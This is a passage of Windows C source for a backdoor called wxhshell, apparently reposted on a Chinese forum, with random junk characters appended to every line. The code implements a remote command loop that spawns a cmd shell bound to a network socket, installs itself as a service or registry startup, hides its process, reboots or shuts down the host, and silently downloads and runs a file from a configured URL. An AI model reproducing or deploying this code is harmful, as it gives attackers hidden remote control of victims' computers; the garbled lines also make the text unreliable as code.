  // 帮助 ^ *&X~8@)  
  case '?': { >sD4R}\})  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w-b' LP  
    break; Vvt  ;  
  } n;8'`s  
  // 安装 6*nAo8gl  
  case 'i': { -h-oMqgu(  
    if(Install()) {kLGWbo|Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TwvAj#j  
    else ~:lKS;PRuK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -fgC" 2H  
    break; (X+s-4%  
    } V8-h%|$p3W  
  // 卸载 a$9A(Pte  
  case 'r': { y^Vw`-e  
    if(Uninstall()) ukuo:P<a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \aP6_g:N}  
    else )9=(|Lp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !umEyd@ "  
    break; a :HNg  
    } ,WWj-X|+=  
  // 显示 wxhshell 所在路径 +m,!e*g  
  case 'p': { |%D%0TR&Q  
    char svExeFile[MAX_PATH]; HFo-4"  
    strcpy(svExeFile,"\n\r"); d"~(T:=r  
      strcat(svExeFile,ExeFile); ;\y ;  
        send(wsh,svExeFile,strlen(svExeFile),0); T~gW3J  
    break; >qn/<??  
    } "DSPPE&[c  
  // 重启 *s)}Bj  
  case 'b': { #T~&]|{,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U3#dT2U  
    if(Boot(REBOOT)) $v} <'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4p)e}W*  
    else { beZ(o?uK  
    closesocket(wsh); .dq "k  
    ExitThread(0); Y/U{Qc\ 6  
    } o*ANi;1]&B  
    break; 6ri#Lw  
    } 8 #oR/Nt  
  // 关机 #Ogt(5Sd  
  case 'd': { |$hgT K[L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I__4I{nI  
    if(Boot(SHUTDOWN)) ,#'7)M D8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8*!|8 BPj^  
    else { X QbNH~  
    closesocket(wsh); L2-^! '  
    ExitThread(0); mog9jw  
    } ilEi")b=  
    break; qeaA&(|5  
    } @?&Wm3x9  
  // 获取shell J\W-dI  
  case 's': { K]N~~*`%`  
    CmdShell(wsh); P#G.lft"O  
    closesocket(wsh); cfoYnM  
    ExitThread(0); B} *V%}:)  
    break; - G ?%QG`v  
  } BSXdvI1y  
  // 退出 ~v: #zU  
  case 'x': { ^Gz{6@TY5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t]m!ee8*X<  
    CloseIt(wsh); T$b\Q  
    break; _J"mR]I+  
    } c%<2z  
  // 离开 o+)A'S  
  case 'q': { kl{6]39  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I}:L]H{E  
    closesocket(wsh); l L2-.!]R  
    WSACleanup(); ` *9EKj  
    exit(1); ;?im(9h"v!  
    break; t* z'c  
        } mrnxI#6  
  } d)*(KhYie@  
  } _O 52ai><b  
ZDlu1>Q  
  // 提示信息 :c;_a-69  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3bH5C3(u  
} my[,w$YM  
  } nL;K|W  
7x+=7,BZd  
  return; xT+ ;w[s  
} S_T  
ZKsQ2"8{M  
// shell模块句柄 jlRS:$|R0  
int CmdShell(SOCKET sock) b3^R,6]x&  
{ LY1KQuY  
STARTUPINFO si; vcOsq#UW  
ZeroMemory(&si,sizeof(si)); %QE5<2k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qnTi_c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `Of[{.Q  
PROCESS_INFORMATION ProcessInfo; 6BPAux.]  
char cmdline[]="cmd"; Cji#?!Ra?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rf8:+d[Jj|  
  return 0; $nc, ?)i!  
} 9C1b^^Kb  
*?b@>_1K  
// 自身启动模式 {*nEKPq(_*  
int StartFromService(void) _3KZME  
{ z qO$  
typedef struct Lkp&;+  
{ v+7*R)/  
  DWORD ExitStatus; 9g+UJ\u^  
  DWORD PebBaseAddress; m\} =4b  
  DWORD AffinityMask; !a)s`  
  DWORD BasePriority; $*aE$O6l  
  ULONG UniqueProcessId; xrX?ZJ  
  ULONG InheritedFromUniqueProcessId; Dwk$CJb3-  
}   PROCESS_BASIC_INFORMATION; /\TlO.B=  
rN'.&;Y5  
PROCNTQSIP NtQueryInformationProcess; 7zi"caY  
|Pj9ZG#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]#M/$?!]g2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H&u4v2  
w1.MhA  
  HANDLE             hProcess; afV P-m4L  
  PROCESS_BASIC_INFORMATION pbi; &Ky3Jb<:Gt  
ax;{MfsK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uJm#{[  
  if(NULL == hInst ) return 0; )MMhlcNC  
<Q\H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g!.Ut:8L9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sOjF?bCdO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `J]<_0kX}%  
 Q;Q  
  if (!NtQueryInformationProcess) return 0; 3[iSF5%V*p  
^,~N7`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qYDj*wqf  
  if(!hProcess) return 0; % Mw'e/?  
+i_'gDy$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T^+1rG  
q!9^#c  
  CloseHandle(hProcess); h<Jc;ht  
tu7+LwF7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {rtM%%l  
if(hProcess==NULL) return 0; x$*E\/zi<!  
K:Mujx:  
HMODULE hMod; ,uKs>T^  
char procName[255]; /kAwe *)  
unsigned long cbNeeded; A> J1B(up  
LAizx^F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [}jj<!9A_;  
@'@s*9Nr  
  CloseHandle(hProcess); 3^j~~ "2,w  
3"f)*w7d  
if(strstr(procName,"services")) return 1; // 以服务启动 V^9$t/c &  
|K'Gw}fX/  
  return 0; // 注册表启动 ,^n-L&  
} RCoeJ|  
d.L OyO  
// 主模块 Dl>*L  
int StartWxhshell(LPSTR lpCmdLine) :h^O{"au^  
{ 3$MYS^D  
  SOCKET wsl; YG-Z.{d5Z  
BOOL val=TRUE; 9"[!EKW  
  int port=0; wxH (&CB-{  
  struct sockaddr_in door; Bm65 W  
`WraOsoY  
  if(wscfg.ws_autoins) Install(); >cBGw'S  
kQqBHA  
port=atoi(lpCmdLine); U)SM),bE[  
*4r s  
if(port<=0) port=wscfg.ws_port; 9k714bnMLX  
03P N{<  
  WSADATA data; ?"5~Wwp.T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }R7sj  
\.K\YAM<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eL]{#WL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BUcaj.S  
  door.sin_family = AF_INET; h9tB''ePE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oV%( 37W9=  
  door.sin_port = htons(port); =)mXCA^  
?Ry%c6(}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?ZSXoy-kr  
closesocket(wsl); </K%i;l  
return 1; j;1~=j])  
} [] GthF  
Xtu:  
  if(listen(wsl,2) == INVALID_SOCKET) { _)HD4,`  
closesocket(wsl); B"pFJ"XR  
return 1; I}6DoLbV  
} |V5$'/Y  
  Wxhshell(wsl); Qx6,>'Qk'  
  WSACleanup(); /}h71V!  
GI0x>Z+  
return 0; oG4w8+N  
S3j]{pZ(z  
} ak~=[7Nv  
hj[+d%YZY"  
// 以NT服务方式启动 xI/{)I1f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zbF:R[)  
{ ^yEj]]6  
DWORD   status = 0; $|`t9-EA/  
  DWORD   specificError = 0xfffffff; lWu9/r 1  
[dSDg2]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [4K9|/J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <3i4NXnL2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I_"Hgx<  
  serviceStatus.dwWin32ExitCode     = 0; -13P 2<i+  
  serviceStatus.dwServiceSpecificExitCode = 0; WH pUjyBP  
  serviceStatus.dwCheckPoint       = 0; PK:o}IWn~x  
  serviceStatus.dwWaitHint       = 0; 1q}u?7nnSG  
3{2^G@j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r`&2-]  
  if (hServiceStatusHandle==0) return; h"RP>fZt  
zIAu3  
status = GetLastError(); EI?d(K  
  if (status!=NO_ERROR) RTgQ#<W8  
{ = )JVT$]w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yr/]xc$  
    serviceStatus.dwCheckPoint       = 0; vp )}/&/  
    serviceStatus.dwWaitHint       = 0; Y|GJp h  
    serviceStatus.dwWin32ExitCode     = status; ~$?y1Yv  
    serviceStatus.dwServiceSpecificExitCode = specificError; =!pu+&I 9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /pAm8vK   
    return; J1gEjd   
  } QK``tWLIg7  
=|qt!gY)Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ei+9G,  
  serviceStatus.dwCheckPoint       = 0; !]{1h  
  serviceStatus.dwWaitHint       = 0; uFm(R/V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QoT3;<r}  
} ~RZJ/%6F  
8xD<A|  
// 处理NT服务事件,比如:启动、停止 4."o.:8x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uI[-P}bSc&  
{ &6,Yjs:T m  
switch(fdwControl) |d B1R%  
{ @dWS*@  
case SERVICE_CONTROL_STOP: ^hl]s?"3  
  serviceStatus.dwWin32ExitCode = 0; g|v1qfK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  BdE`p{  
  serviceStatus.dwCheckPoint   = 0; sT[av  
  serviceStatus.dwWaitHint     = 0; E&s'uE=w+  
  { 4BduUH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /A[oj2un  
  } *D09P%  
  return; 7T|J[W O  
case SERVICE_CONTROL_PAUSE: 'o)ve(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /IrR,bvA  
  break; 8XS {6<  
case SERVICE_CONTROL_CONTINUE: AihL>a%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HP4'8#3o  
  break; <.AC=4@V  
case SERVICE_CONTROL_INTERROGATE: Bah.\ZsYQP  
  break;  ^ :  
}; [U3D`V$xD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -hU>1ux&V  
} {l*&l2  
?sjZ13 SUa  
// 标准应用程序主函数 :cmI"Bo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aCYm$6LmA  
{ v0hfY   
}`<>$2b  
// 获取操作系统版本 >XXMIz:  
OsIsNt=GetOsVer(); qj3bt_F!x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lEYT{  
~J. Fl[  
  // 从命令行安装 Vk N[=0a,  
  if(strpbrk(lpCmdLine,"iI")) Install();   Tk v  
}{kTh%^  
  // 下载执行文件 aG8D%i0  
if(wscfg.ws_downexe) { q563,s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &JXHDpd$a^  
  WinExec(wscfg.ws_filenam,SW_HIDE); U>plv  
} xvx\H'  
eMm~7\ R  
if(!OsIsNt) { U$/Hp#~X  
// 如果时win9x,隐藏进程并且设置为注册表启动 +2au ;^N  
HideProc(); z:i X]df  
StartWxhshell(lpCmdLine); AHMV@o`V  
} V M\Z<}C  
else LL$,<q%(P  
  if(StartFromService()) PgG |7='  
  // 以服务方式启动 [b k&Nd[  
  StartServiceCtrlDispatcher(DispatchTable); ^ ]6  80h  
else ~&[P` Z$  
  // 普通方式启动 4_m /_Z0x  
  StartWxhshell(lpCmdLine); ]|$$:e^U9  
\_I)loPc8  
return 0; vN%j-'D\A4  
}
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只看该作者 1 发表于: 2006-10-10
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